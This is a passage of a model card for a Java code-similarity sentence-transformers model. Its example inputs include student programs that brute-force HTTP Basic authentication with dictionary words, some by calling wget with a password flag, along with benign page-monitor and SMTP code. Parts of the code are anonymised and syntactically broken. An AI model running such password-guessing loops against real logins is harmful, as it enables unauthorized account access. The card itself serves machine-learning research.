\ \"h\";\n strLetter[8] = \"i\";\n strLetter[9] = \"j\";\n strLetter[10]\ |
|
\ = \"k\";\n strLetter[11] = \"l\";\n strLetter[12] = \"m\";\n \ |
|
\ strLetter[13] = \"n\";\n strLetter[14] = \"o\";\n strLetter[15] =\ |
|
\ \"p\";\n strLetter[16] = \"q\";\n strLetter[17] = \"r\";\n strLetter[18]\ |
|
\ = \"s\";\n strLetter[19] = \"t\";\n strLetter[20] = \"u\";\n \ |
|
\ strLetter[21] = \"v\";\n strLetter[22] = \"w\";\n strLetter[23] =\ |
|
\ \"x\";\n strLetter[24] = \"y\";\n strLetter[25] = \"z\";\n strLetter[26]\ |
|
\ = \"A\";\n strLetter[27] = \"B\";\n strLetter[28] = \"C\";\n \ |
|
\ strLetter[29] = \"D\";\n strLetter[30] = \"E\";\n strLetter[31] =\ |
|
\ \"F\";\n strLetter[32] = \"G\";\n strLetter[33] = \"H\";\n strLetter[34]\ |
|
\ = \"I\";\n strLetter[35] = \"J\";\n strLetter[36] = \"K\";\n \ |
|
\ strLetter[37] = \"L\";\n strLetter[38] = \"M\";\n strLetter[39] =\ |
|
\ \"N\";\n strLetter[40] = \"O\";\n strLetter[41] = \"P\";\n strLetter[42]\ |
|
\ = \"Q\";\n strLetter[43] = \"R\";\n strLetter[44] = \"S\";\n \ |
|
\ strLetter[45] = \"T\";\n strLetter[46] = \"U\";\n strLetter[47] =\ |
|
\ \"V\";\n strLetter[48] = \"W\";\n strLetter[49] = \"X\";\n strLetter[50]\ |
|
\ = \"Y\";\n strLetter[51] = \"Z\";\n\n }\n\n\n\n\n\n\n\n static boolean\ |
|
\ passwordWasFound(String urlString,\n String\ |
|
\ password,\n boolean retVal)\n \n {\n\n\ |
|
\ String strEncodeInput = username + \":\" + password;\n boolean returnValue\ |
|
\ = retVal;\n boolean boolExceptionThrown = false;\n\n\n\n try\n \ |
|
\ {\n\n strLastPasswordTested = password;\n \n intNumberOfConnectionAttempts++;\n\ |
|
\n url = new URL(urlString);\n\n String encoding = new url.misc.BASE64Encoder().encode\ |
|
\ (strEncodeInput.getBytes());\n\n\n System.out.print(\"username = \"\ |
|
\ + \n username + \n \"\ |
|
\ \" +\n \"password = \" +\n \ |
|
\ password);\n\n\n\n HttpURLConnection urlConnection = (HttpURLConnection)url.openConnection();\n\ |
|
\n urlConnection.setRequestProperty(\"Authorization\", \n \ |
|
\ \" \" + encoding); \n\n System.out.println(\"\ |
|
\ response = \" + urlConnection.getResponseCode());\n\n if (urlConnection.getResponseCode()\ |
|
\ == 401)\n {\n returnValue = false; \n }\n\ |
|
\n }\n\n catch (MalformedURLException m)\n {\n boolExceptionThrown\ |
|
\ = true;\n returnValue = false;\n\n System.err.println(m);\n\ |
|
\ System.out.println(\"Malformed URL Exception error\");\n }\n\n\ |
|
\ catch (IOException io)\n {\n boolExceptionThrown = true;\n\ |
|
\ returnValue = false;\n\n System.out.println(\"IOException error\"\ |
|
);\n System.err.println(io); \n }\n\n catch (Exception e)\n\ |
|
\ {\n boolExceptionThrown = true;\n returnValue = false;\n\ |
|
\n System.out.println(\"General exception.....\");\n System.err.println(e);\ |
|
\ \n }\n\n finally\n { \n urlConnection = null;\n \ |
|
\ url = null; \n }\n\n\n if (boolExceptionThrown)\n {\n \ |
|
\ intExceptionCount++;\n strExceptionPassword[intExceptionCount] =\ |
|
\ password;\n }\n\n\n return returnValue;\n\n }\n\n}" |
|
- "import java.Object;\nimport java.io.*;\nimport java.String;\nimport java.util.*;\n\ |
|
\nclass Dictionary{\n\n public static void main(String [] args){\n \ |
|
\ try\n {\n Date d = new Date();\n \ |
|
\ String line1=\"\";\n String ps=\"\";\n \ |
|
\ String file1 = \"words.txt\";\n String file2 = \"index.html\"\ |
|
;\n String endline=\"Authorization failed.\";\n \ |
|
\ String [] cmd = new String[4];\n cmd[0] = \"wget\";\n \ |
|
\ cmd[1] = \"--http-user=\";\n cmd[3] = \"http://sec-crack.cs.rmit.edu./SEC/2/\"\ |
|
;\n\n FileReader fr1 = new FileReader(file1);\n \ |
|
\ BufferedReader in1 = new BufferedReader(fr1);\n while((line1\ |
|
\ = in1.readLine())!=null)\n {\n try{\n \ |
|
\ cmd[2] = connect(line1);\n Runtime.getRuntime().exec(cmd);\n\ |
|
\ if(line1.length()==3)\n ps = line1;\n\ |
|
\ System.out.println(cmd[2]);\n File f =\ |
|
\ new File(file2);\n if(f.exists())\n {\n\ |
|
\ System.out.println(\"password: \" + ps);\n \ |
|
\ break;\n }\n }\n \ |
|
\ catch(IOException ex)\n {\n System.out.println(\"\ |
|
hello1\");\n }\n\n }\n Date end\ |
|
\ = new Date();\n System.out.println(d.toString());\n \ |
|
\ System.out.println(end.toString());\n System.out.println(\"\ |
|
Seconds: \" + (end.getSeconds()-d.getSeconds()));\n }\n\n \ |
|
\ catch(IOException e)\n {\n System.out.println(\"\ |
|
hello,didnt find file.\");\n }\n }\n public static String connect(String\ |
|
\ str1)\n {\n char data[] = {'-','-','h','t','t','p','-','p','a','s','s','w','d','='};\n\ |
|
\ String str = new String(data);\n return str\ |
|
\ + str1;\n }\n\n}\n" |
|
- "\nimport java.io.*;\n\npublic class PasswordFile {\n \n private String\ |
|
\ strFilepath;\n private String strCurrWord;\n private File fWordFile;\n\ |
|
\ private BufferedReader in;\n \n \n public PasswordFile(String filepath)\ |
|
\ {\n strFilepath = filepath;\n try {\n fWordFile = new\ |
|
\ File(strFilepath);\n in = new BufferedReader(new FileReader(fWordFile));\n\ |
|
\ }\n catch(Exception e)\n {\n System.out.println(\"\ |
|
Could not open file \" + strFilepath);\n }\n }\n \n String getPassword()\ |
|
\ {\n return strCurrWord;\n }\n \n String getNextPassword() {\n\ |
|
\ try {\n strCurrWord = in.readLine();\n \n \ |
|
\ \n \n }\n catch (Exception e)\n {\n \ |
|
\ \n return null;\n }\n \n return\ |
|
\ strCurrWord;\n }\n \n}\n" |
|
- source_sentence: "import java.io.*;\nimport java.net.*;\nimport java.net.HttpURLConnection;\n\ |
|
import javax.net.*;\nimport java.security.cert.*;\n\npublic class Dictionary\n\ |
|
{\n\tpublic static void main(String[] args)\n\t{\n\t\tBufferedReader in = null;\n\ |
|
\t\tboolean found = true;\n\t\tString word = null;\n\t\tString cmd = null;\n\t\ |
|
\tRuntime run = Runtime.getRuntime();\n\t\tProcess pro = null;\n\t\tBufferedReader\ |
|
\ inLine = null;\n\n\n\n\t\tString str = null;\n\t\tURLConnection connection =\ |
|
\ null;\n\n\t\ttry\n\t\t{\n\t\t\tFileReader reader = new FileReader(\"words\"\ |
|
);\n\t\t\tin = new BufferedReader(reader);\n\t\t\tSystem.out.println(\" cracking....\"\ |
|
);\n\t\t\t\n\t\t\t{\n\t\t\t\tfound = true;\n\t\t\t\tword = new String(in.readLine());\n\ |
|
\n\t\t\t\tcmd = \"wget --http-user= --http-passwd=\"+word +\" http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\ |
|
;\n\n\t\t\t\tpro = run.exec(cmd);\n\t\t\t\tinLine = new BufferedReader(new InputStreamReader(pro.getErrorStream()));\n\ |
|
\n\n\t\t\t\tif((str=inLine.readLine())!=null)\n\t\t\t\t{\n\n\t\t\t\t\twhile ((str=inLine.readLine())!=null)\n\ |
|
\t\t\t\t\t{\n\t\t\t\t\t\tif (str.endsWith(\"Required\"))\n\t\t\t\t\t\t{\n\n\t\t\ |
|
\t\t\t\t\tfound = false;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\t\t\t\t}\n\n\n\n\n\n\n\ |
|
\t\t\t\trun.gc();\n\t\t\t}\n\t\t\twhile (!found);\n\n\n\n\n\n\t\t}\n\t\tcatch\ |
|
\ (FileNotFoundException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n\t\ |
|
\tcatch (IOException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n \ |
|
\ catch (NullPointerException ex)\n {\n System.out.println(word);\n\ |
|
\ }\n\t\tfinally\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tif (in!= null)\n\t\ |
|
\t\t\t{\n\t\t\t\t\tin.print();\n\t\t\t\t}\n\t\t\t}\n\t\t\tcatch (IOException e)\ |
|
\ {}\n\t\t}\n\t\tif (found == true)\n\t\t\tSystem.out.println(\"The password is\ |
|
\ :\" + word);\n else\n System.out.println(\"NOT FOUND!\");\n\ |
|
\t}\n}" |
|
sentences: |
|
- "\nimport java.net.*;\nimport java.io.*;\nimport java.misc.*;\nimport java.io.BufferedInputStream;\n\ |
|
import java.awt.*;\nimport java.awt.event.*;\n\npublic class WriteFile\n{\n \ |
|
\ String url;\n String fileName;\n int flag;\n private PrintWriter out2;\n\ |
|
\ private TextArea response;\n int status;\n int mailFlag;\n\n public\ |
|
\ WriteFile (String newUrl, String newFileName, int newFlag)\n {\n url\ |
|
\ = newUrl;\n fileName = newFileName;\n PrintWriter printW = null;\n\ |
|
\ FileOutputStream fout;\n flag = newFlag;\n status = 0;\n \ |
|
\ mailFlag = 0;\n\n \n File file = new File(fileName);\n \ |
|
\ file.delete();\n\n try\n {\n fout = new FileOutputStream(fileName,true);\n\ |
|
\ printW = new PrintWriter(fout);\n }\n catch (IOException\ |
|
\ ioe)\n {\n System.out.println(\"IO Error : \" + ioe);\n \ |
|
\ }\n\n\n URL u;\n URLConnection uc;\n\n try\n {\n \ |
|
\ u = new URL(url);\n try\n {\n \n \ |
|
\ uc = u.openConnection();\n\n InputStream content = (InputStream)uc.getInputStream();\n\ |
|
\ BufferedReader in = new BufferedReader (new InputStreamReader(content));\n\ |
|
\n String line;\n\n \n while ((line = in.readLine())\ |
|
\ != null)\n {\n \n printW.println(line);\n\ |
|
\n }\n }\n catch (Exception e)\n {\n \ |
|
\ System.out.println(\"Error: \" + e);\n }\n }\n \ |
|
\ catch (MalformedURLException e)\n {\n System.out.println(url\ |
|
\ + \" is not a parseable URL\");\n }\n \n printW.print();\n\ |
|
\n\n if(flag == 1)\n {\n \n compareDiff(\"@.rmit.edu.\"\ |
|
);\n }\n }\n\n String loadStream(InputStream in) throws IOException\n\ |
|
\ {\n int ptr = 0;\n in = new BufferedInputStream(in);\n \ |
|
\ StringBuffer buffer = new StringBuffer();\n\n while( (ptr = in.next())\ |
|
\ != -1 )\n {\n status++;\n \n buffer.append((char)ptr);\n\ |
|
\ mailFlag++;\n \n }\n return buffer.toString();\n\ |
|
\ }\n\n public void compareDiff(String emailAdd)\n {\n String cmds\ |
|
\ = \"diff test1.txt test2.txt\";\n PrintWriter printW2 = null;\n \ |
|
\ FileOutputStream fout2;\n \n File file = new File(\"diff.txt\");\n\ |
|
\ file.delete();\n String ;\n\n try\n {\n fout2\ |
|
\ = new FileOutputStream(\"diff.txt\",true);\n printW2 = new PrintWriter(fout2);\n\ |
|
\ }\n catch (IOException ioe)\n {\n System.out.println(\"\ |
|
IO Error : \" + ioe);\n }\n\n try\n {\n\n\n \n \ |
|
\ Process ps = Runtime.getRuntime().exec(cmds);\n PrintWriter out\ |
|
\ = new PrintWriter(new OutputStreamWriter(ps.getOutputStream()));\n\n \ |
|
\ printW2.println(loadStream(ps.getInputStream())+\"\\n\");\n printW2.print();\n\ |
|
\n\n if(mailFlag != 0)\n {\n FileReader fRead2;\n\ |
|
\ BufferedReader buf2;\n\n try\n {\n \ |
|
\ fRead2 = new FileReader(\"diff.txt\");\n buf2 = new\ |
|
\ BufferedReader(fRead2);\n String line2;\n int\ |
|
\ i=0;\n\n line = new String(\" some changes the web as followed:\ |
|
\ \\n\");\n \n Socket s = new Socket(\"wombat.cs.rmit.edu.\"\ |
|
, 25);\n out2 = new PrintWriter(s.getOutputStream());\n\n \ |
|
\ send(null);\n send(\"HELO cs.rmit.edu.\");\n \ |
|
\ send(\"MAIL FROM: @.rmit.edu.\");\n \n \ |
|
\ send(\"RCPT : @.rmit.edu.\");\n send(\"DATA\");\n \ |
|
\ \n\n while( (line2 = buf2.readLine()) != null)\n \ |
|
\ {\n \n line= new String(\"\"+line2+\"\\n\");\n \ |
|
\ \n \n\n }\n \ |
|
\ \n \n \n out2.print();\n \ |
|
\ send(\".\");\n s.print();\n }\n \ |
|
\ catch(FileNotFoundException e)\n {\n System.out.println(\"\ |
|
File not found\");\n }\n catch(IOException ioe)\n \ |
|
\ {\n System.out.println(\"IO Error \" + ioe);\n \ |
|
\ }\n }\n\n System.out.println(loadStream(ps.getInputStream()));\n\ |
|
\ \n System.err.print(loadStream(ps.getErrorStream()));\n \ |
|
\ }\n catch(IOException ioe)\n {\n ioe.printStackTrace();\n\ |
|
\ }\n }\n\n public void send(String s) throws IOException\n {\n\ |
|
\ \tresponse = new TextArea();\n \tif(s != null)\n \t{\n \ |
|
\ response.append(s + \"\\n\");\n out2.println(s);\n\t out2.flush();\n\ |
|
\t}\n }\n\n public int getStatus()\n {\n return status;\n }\n}" |
|
- "import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\ |
|
\nclass Dictionary {\n\n private String password=\"\";\n\n private int num=401;\n\ |
|
\n\n public static void main(String[] args) {\n\n\n Dictionary URLcon;\n\ |
|
\n int length = 0;\n\n String passwd=\"\";\n\n int t0,t1;\n\n\ |
|
\ String line =\"\";\n \n if (args.length == 0) {\n \t\n \ |
|
\ System.err.println (\n \t\t\n \t\t\"Usage : java BruteForce <username>\"\ |
|
);\n return;\n \t\n }\n \n String username = args[0];\n\ |
|
\ \n \n t0=System.currentTimeMillis();\n \n System.out.println\ |
|
\ (\" \" + new Date());\n System.out.println (\"Using Dictionary method\ |
|
\ attack \"+username+\"'s password. Please waiting.......\");\n\n try{\ |
|
\ BufferedReader in = new BufferedReader(new FileReader(\"/usr/share/lib/dict/words\"\ |
|
));\n\n while ((passwd=in.readLine())!=null) {\n\n \t URLcon\ |
|
\ = new Dictionary (passwd,username);\n\n if ((URLcon.num)!=401) {\n\ |
|
\n \tt1=System.currentTimeMillis();\n\n System.out.println(\"\ |
|
The password: \"+ passwd);\n\n \tdouble dt =t1-t0;\n\n \ |
|
\ \tSystem.out.println(\"It took \"+DecimalFormat.getInstance().format(dt/1000)+\ |
|
\ \" seconds\");\n \n System.out.println (\"Finish\ |
|
\ \" + new Date());\n \n \treturn;\n\n \ |
|
\ }\n\n\n \t}\n\n }catch (FileNotFoundException e){\n \t\ |
|
System.out.println(e);\n }catch (IOException e){\n \tSystem.out.println(e);\n\ |
|
\ }\n\n\n System.out.println(\" not find the password\");\n\n\n}\n\n\ |
|
\ public Dictionary (String password,String username) {\n\n \t String urlString\ |
|
\ = \"http://sec-crack.cs.rmit.edu./SEC/2/\" ;\n\n \n try {\n\n \ |
|
\ String userPassword = username+\":\"+password ;\n\n String encoding\ |
|
\ = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n\ |
|
\ URL url = new URL (urlString);\n\n HttpURLConnection uc = (HttpURLConnection)\ |
|
\ url.openConnection();\n\n uc.setRequestProperty (\"Authorization\", \"\ |
|
\ \" + encoding);\n\n url = uc.getResponseCode();\n\n\n }\n \ |
|
\ catch(MalformedURLException e){\n \t System.out.println(e);\n \ |
|
\ }catch(IOException e){\n System.out.println(e);\n }\n\n\n \ |
|
\ }\n}" |
|
- "import java.net.*; \nimport java.io.*; \nimport java.util.regex.*;\nimport java.util.Date;\n\ |
|
import java.util.*;\nimport java.text.*; \n\n\n\n\npublic class WatchDog { \n\ |
|
\ public static BufferedReader in;\n \n\n public static int LIMITINMINUTES=60*24;\n\ |
|
\ public static int TIMELIMIT=LIMITINMINUTES*1000*60;\n public static void main(String[]\ |
|
\ args) throws Exception { \n \n String watchedPage = \"http://www.cs.rmit.edu./students/\"\ |
|
;\n String currentPage = \"\"; \n \n \n System.out.println(\" stop\ |
|
\ the program, press \\\"Alt + C\\\"\");\n \n boolean loggedout=false;\n\ |
|
\ while (!loggedout){\n \n currentPage=\"\";\n \n \n \ |
|
\ Date date = new Date();\n startTime=date.getTime();\n \n \ |
|
\ \n URL cs = new URL(watchedPage); \n HttpURLConnection connection;\n\ |
|
\ URLConnection csc = cs.openConnection(); \n try {\n\tBufferedReader\ |
|
\ in = new BufferedReader(new InputStreamReader(csc.getInputStream())); \n\tString\ |
|
\ inputLine; \n\t\n\twhile ((inputLine = in.readLine()) != null) {\n\t currentPage\ |
|
\ = currentPage+inputLine;\n\t}\n\t\n }\n catch (IOException s) { \ |
|
\ \n }\n finally {\n\twhile(in!=null)\n in.next();\n \ |
|
\ }\n \n String lastPage=readData();\n if (lastPage.trim().equals(currentPage.trim()))\ |
|
\ {\n\tSystem.out.println(\"Pages match, nothing email.\");\n }\n else\ |
|
\ {\n\t\n\t\n\tString checkCurrentPage = currentPage.trim();\n\tString checkLastPage\ |
|
\ = lastPage.trim();\n\tint iterations;\n\t\n\tboolean lastLongestString;\n\t\ |
|
if (checkCurrentPage.length()<checkLastPage.length()) {\n iterations\ |
|
\ = checkCurrentPage.length();\n\t lastLongestString = true;\n\t}\n\telse {\n\ |
|
\ iterations = checkLastPage.length();\n\t lastLongestString = false;\n\ |
|
\t \n\t}\n\tString additions = \"Here the additions the : \\n\";\n\tboolean\ |
|
\ add=false;\n\tString subtractions = \"Here the parts removed from the : \\\ |
|
n\";\n\tboolean sub=false;\n\tfor (int count=0; count<iterations; count++) {\n\ |
|
\ \n\t if (checkLastPage.length()>count && checkCurrentPage.length()>count){\n\ |
|
\t \n if (checkLastPage.charAt(count)!=(checkCurrentPage.charAt(count)))\ |
|
\ {\n\t \n\t \n\t if (count<20){\n\t\tadditions = \"Sorry changes\ |
|
\ together distinguish additions and subtractions . Here is where : \"+ checkCurrentPage.substring(count,\ |
|
\ checkCurrentPage.length());\n\t\tcount = iterations;\n\t }\n\t else\ |
|
\ {\n\t\t\n\t\t\n\t\tcheckCurrentPage= checkCurrentPage.substring(count, checkCurrentPage.length());\n\ |
|
\t\tcheckLastPage=checkLastPage.substring(count, checkLastPage.length());\n\t\t\ |
|
iterations=iterations-count;\n\t\tcount=0;\n\n\t\t\n\t\t\n\t\t\n\t\tString regexAdd=\"\ |
|
\";\n\t\tif (checkLastPage.length()<20){\n\t\t regexAdd=checkLastPage.substring(count,\ |
|
\ checkLastPage.length());\n\t\t}\n\t\telse {\t \n\t\t regexAdd=checkLastPage.substring(0,19);\n\ |
|
\t\t}\n\t\tString [] changes=checkCurrentPage.split(regexAdd, 2);\n\t\tint changeslength=changes.length;\n\ |
|
\t\t\n\t\tif (changeslength>1){\n\t\t \n\t\t add=true;\n\t\t additions = additions\ |
|
\ + changes[0];\t \n\t\t \n\t\t \n\t\t if (changeslength>1){\n\t\t checkCurrentPage=regexAdd+changes[1];\n\ |
|
\t\t }\n\t\t else {\n\t\t if (lastLongestString==true) \n\t \ |
|
\ count=iterations;\n\t\t } \n\t\t}\n\t\telse { \n\t \t\t \n\t\t \n\t\t \ |
|
\ \n\t\t String regexSub=\"\";\n\t\t if (checkCurrentPage.length()<20){\n\t\t\ |
|
\ regexSub=checkCurrentPage.substring(count, checkCurrentPage.length());\n\t\ |
|
\t }\n\t\t else {\t \n\t\t regexSub=checkCurrentPage.substring(0,19);\n\t\ |
|
\t }\n\t\t String [] changesSub=checkLastPage.split(regexSub, 2);\n\t\t int\ |
|
\ changeslengthSub=changesSub.length;\n\t\t \n\t\t if (changeslengthSub>1){\n\ |
|
\t\t \n\t\t sub=true;\n\t\t subtractions = subtractions + changesSub[0];\t\ |
|
\ \n\t\t \n\t\t \n\t\t if (changeslengthSub>1){\n\t\t checkLastPage=regexSub+changesSub[1];\n\ |
|
\t\t }\n\t\t else {\n\t\t if (lastLongestString==false) \n\t\t \ |
|
\ count=iterations;\n\t\t }\n\t\t \n\t\t \n\t\t }\n\t\t}\n\t }\n\ |
|
\n } \n\t } \n\t} \n\t\n\t\n\tString emailBody=\"Changes have been\ |
|
\ . \\n\"+additions+subtractions;\n\n\t\n\tsendEmail(emailBody);\n }\n\n\ |
|
\ \n writeData(currentPage);\n \n \n wait24(startTime);\n\ |
|
\ } \n } \n \n \n private static void wait24( int startTime) {\n boolean\ |
|
\ waiting=true;\n while(waiting){\n Date endDate = new Date();\n \ |
|
\ endTime=endDate.getTime();\n \n \n if (endTime>(TIMELIMIT+startTime)){\n\ |
|
\ \n waiting=false;\n }\t\n }\n } \n \n \n public\ |
|
\ static String readData() {\n String data;\n String lastPage=\"\";\n \ |
|
\ try {\n BufferedReader in = new BufferedReader(new FileReader(\"LastVisitedPage.html\"\ |
|
));\n while ((data = in.readLine())!=null) {\n lastPage= lastPage\ |
|
\ + data +\"\\n\";\n }\n \n }\n catch (FileNotFoundException e1)\ |
|
\ {\n System.exit(0);\n }\n catch (IOException e2) {\n System.out.println(\"\ |
|
IO Exception, exiting\");\n System.exit(0);\n }\t \n finally {\n\ |
|
\ try {\n\tif (null!=in) {\n in.next();\n\t}\n }\n catch (IOException\ |
|
\ e3) {}\n }\n return lastPage;\n }\n \n \n public static void writeData(String\ |
|
\ currentPage) {\n PrintWriter out;\n try {\n\tout = new PrintWriter (new\ |
|
\ BufferedWriter(new FileWriter(\"LastVisitedPage.html\")));\n\tout.println(currentPage);\n\ |
|
\t\n\t\n }\n catch (IllegalArgumentException e1) {\n\tSystem.out.println\ |
|
\ (\"Sorry, 't write file. None of changes in this session have been saved\"\ |
|
);\n\tSystem.exit(0);\n }\n catch (IOException e2) {\n\tSystem.out.println\ |
|
\ (\"Sorry, 't write file. None of changes in this session have been saved\"\ |
|
);\n\tSystem.exit(0);\n\t}\n finally {} \n } \n\n \n \n \n public static\ |
|
\ void sendEmail(String emailBody){\n \n Socket smtpSocket =null;\n DataOutputStream\ |
|
\ os = null;\n InputStreamReader is = null ;\n\n Date dDate = new Date();\n\ |
|
\ DateFormat dFormat = DateFormat.getDateInstance(DateFormat.FULL,Locale.US);\n\ |
|
\n try{ \n smtpSocket = new Socket(\".rmit.edu.\", 25);\n os = new\ |
|
\ DataOutputStream(smtpSocket.getOutputStream());\n is = new InputStreamReader(smtpSocket.getInputStream());\n\ |
|
\ BufferedReader = new BufferedReader(is);\n\n if(smtpSocket != null\ |
|
\ && os != null && is != null){ \n \n\ttry { \n\t os.writeBytes(\"HELO\ |
|
\ .rmit.edu.\\r\\n\");\n\t \n\t \n\t os.writeBytes(\"MAIL From: <@.rmit.edu.>\\\ |
|
r\\n\");\n\n\t \n\t os.writeBytes(\"RCPT : <@cs.rmit.edu.>\\r\\n\");\n\n\t \ |
|
\ \n\t \n\t os.writeBytes(\"DATA\\r\\n\");\n\n\t os.writeBytes(\"X-Mailer:\ |
|
\ Via Java\\r\\n\");\n\t os.writeBytes(\"DATE: \" + dFormat.format(dDate) + \"\ |
|
\\r\\n\");\n\t os.writeBytes(\"From: <@cs.rmit.edu.>\\r\\n\");\n\t os.writeBytes(\"\ |
|
: <@cs.rmit.edu.>\\r\\n\");\n\n\t os.writeBytes(\"Subject: updated\\r\\n\"\ |
|
);\n\t os.writeBytes(emailBody + \"\\r\\n\");\n\t os.writeBytes(\"\\r\\n.\\\ |
|
r\\n\");\n\t os.writeBytes(\"QUIT\\r\\n\");\n\n\t \n\t \n\t String responseline;\n\ |
|
\t while((responseline=is.readLine())!=null){ \n \n if(responseline.indexOf(\"\ |
|
Ok\") != -1) {\n break;\n }\n\t }\n\t}\n\tcatch(Exception\ |
|
\ e){ \n\t System.out.println(\"Cannot send email as error occurred.\"); \n\ |
|
\t}\n }\n else \n\tSystem.out.println(\"smtpSocket another variable\ |
|
\ is null!\");\n } \n catch(Exception e){ \n System.out.println(\"\ |
|
Host unknown\"); \n }\n } \n \n} \n\n\n" |
|
pipeline_tag: sentence-similarity |
|
library_name: sentence-transformers |
|
--- |
|
|
|
# SentenceTransformer based on microsoft/graphcodebert-base |
|
|
|
This is a [sentence-transformers](https://www.SBERT.net) model finetuned from [microsoft/graphcodebert-base](https://huggingface.co/microsoft/graphcodebert-base). It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more. |
|
|
|
## Model Details |
|
|
|
### Model Description |
|
- **Model Type:** Sentence Transformer |
|
- **Base model:** [microsoft/graphcodebert-base](https://huggingface.co/microsoft/graphcodebert-base) <!-- at revision 2b0488a7bb0eefc7041f1bb2cad1ab26b0da269d --> |
|
- **Maximum Sequence Length:** 512 tokens |
|
- **Output Dimensionality:** 768 dimensions |
|
- **Similarity Function:** Cosine Similarity |
|
<!-- - **Training Dataset:** Unknown --> |
|
<!-- - **Language:** Unknown --> |
|
<!-- - **License:** Unknown --> |
|
|
|
### Model Sources |
|
|
|
- **Documentation:** [Sentence Transformers Documentation](https://sbert.net) |
|
- **Repository:** [Sentence Transformers on GitHub](https://github.com/UKPLab/sentence-transformers) |
|
- **Hugging Face:** [Sentence Transformers on Hugging Face](https://huggingface.co/models?library=sentence-transformers) |
|
|
|
### Full Model Architecture |
|
|
|
``` |
|
SentenceTransformer( |
|
(0): Transformer({'max_seq_length': 512, 'do_lower_case': False}) with Transformer model: RobertaModel |
|
(1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True}) |
|
) |
|
``` |
|
|
|
## Usage |
|
|
|
### Direct Usage (Sentence Transformers) |
|
|
|
First install the Sentence Transformers library: |
|
|
|
```bash |
|
pip install -U sentence-transformers |
|
``` |
|
|
|
Then you can load this model and run inference. |
|
```python |
|
from sentence_transformers import SentenceTransformer |
|
|
|
# Download from the 🤗 Hub |
|
model = SentenceTransformer("buelfhood/SOCO-Java-GraphCodeBERT-ST") |
|
# Run inference |
|
sentences = [ |
|
'import java.io.*;\nimport java.net.*;\nimport java.net.HttpURLConnection;\nimport javax.net.*;\nimport java.security.cert.*;\n\npublic class Dictionary\n{\n\tpublic static void main(String[] args)\n\t{\n\t\tBufferedReader in = null;\n\t\tboolean found = true;\n\t\tString word = null;\n\t\tString cmd = null;\n\t\tRuntime run = Runtime.getRuntime();\n\t\tProcess pro = null;\n\t\tBufferedReader inLine = null;\n\n\n\n\t\tString str = null;\n\t\tURLConnection connection = null;\n\n\t\ttry\n\t\t{\n\t\t\tFileReader reader = new FileReader("words");\n\t\t\tin = new BufferedReader(reader);\n\t\t\tSystem.out.println(" cracking....");\n\t\t\t\n\t\t\t{\n\t\t\t\tfound = true;\n\t\t\t\tword = new String(in.readLine());\n\n\t\t\t\tcmd = "wget --http-user= --http-passwd="+word +" http://sec-crack.cs.rmit.edu./SEC/2/index.php";\n\n\t\t\t\tpro = run.exec(cmd);\n\t\t\t\tinLine = new BufferedReader(new InputStreamReader(pro.getErrorStream()));\n\n\n\t\t\t\tif((str=inLine.readLine())!=null)\n\t\t\t\t{\n\n\t\t\t\t\twhile ((str=inLine.readLine())!=null)\n\t\t\t\t\t{\n\t\t\t\t\t\tif (str.endsWith("Required"))\n\t\t\t\t\t\t{\n\n\t\t\t\t\t\t\tfound = false;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\t\t\t\t}\n\n\n\n\n\n\n\t\t\t\trun.gc();\n\t\t\t}\n\t\t\twhile (!found);\n\n\n\n\n\n\t\t}\n\t\tcatch (FileNotFoundException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n\t\tcatch (IOException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n catch (NullPointerException ex)\n {\n System.out.println(word);\n }\n\t\tfinally\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tif (in!= null)\n\t\t\t\t{\n\t\t\t\t\tin.print();\n\t\t\t\t}\n\t\t\t}\n\t\t\tcatch (IOException e) {}\n\t\t}\n\t\tif (found == true)\n\t\t\tSystem.out.println("The password is :" + word);\n else\n System.out.println("NOT FOUND!");\n\t}\n}', |
|
'\nimport java.net.*;\nimport java.io.*;\nimport java.misc.*;\nimport java.io.BufferedInputStream;\nimport java.awt.*;\nimport java.awt.event.*;\n\npublic class WriteFile\n{\n String url;\n String fileName;\n int flag;\n private PrintWriter out2;\n private TextArea response;\n int status;\n int mailFlag;\n\n public WriteFile (String newUrl, String newFileName, int newFlag)\n {\n url = newUrl;\n fileName = newFileName;\n PrintWriter printW = null;\n FileOutputStream fout;\n flag = newFlag;\n status = 0;\n mailFlag = 0;\n\n \n File file = new File(fileName);\n file.delete();\n\n try\n {\n fout = new FileOutputStream(fileName,true);\n printW = new PrintWriter(fout);\n }\n catch (IOException ioe)\n {\n System.out.println("IO Error : " + ioe);\n }\n\n\n URL u;\n URLConnection uc;\n\n try\n {\n u = new URL(url);\n try\n {\n \n uc = u.openConnection();\n\n InputStream content = (InputStream)uc.getInputStream();\n BufferedReader in = new BufferedReader (new InputStreamReader(content));\n\n String line;\n\n \n while ((line = in.readLine()) != null)\n {\n \n printW.println(line);\n\n }\n }\n catch (Exception e)\n {\n System.out.println("Error: " + e);\n }\n }\n catch (MalformedURLException e)\n {\n System.out.println(url + " is not a parseable URL");\n }\n \n printW.print();\n\n\n if(flag == 1)\n {\n \n compareDiff("@.rmit.edu.");\n }\n }\n\n String loadStream(InputStream in) throws IOException\n {\n int ptr = 0;\n in = new BufferedInputStream(in);\n StringBuffer buffer = new StringBuffer();\n\n while( (ptr = in.next()) != -1 )\n {\n status++;\n \n buffer.append((char)ptr);\n mailFlag++;\n \n }\n return buffer.toString();\n }\n\n public void compareDiff(String emailAdd)\n {\n String cmds = "diff test1.txt test2.txt";\n PrintWriter printW2 = null;\n FileOutputStream fout2;\n \n File file = new File("diff.txt");\n file.delete();\n String ;\n\n try\n {\n fout2 = new FileOutputStream("diff.txt",true);\n 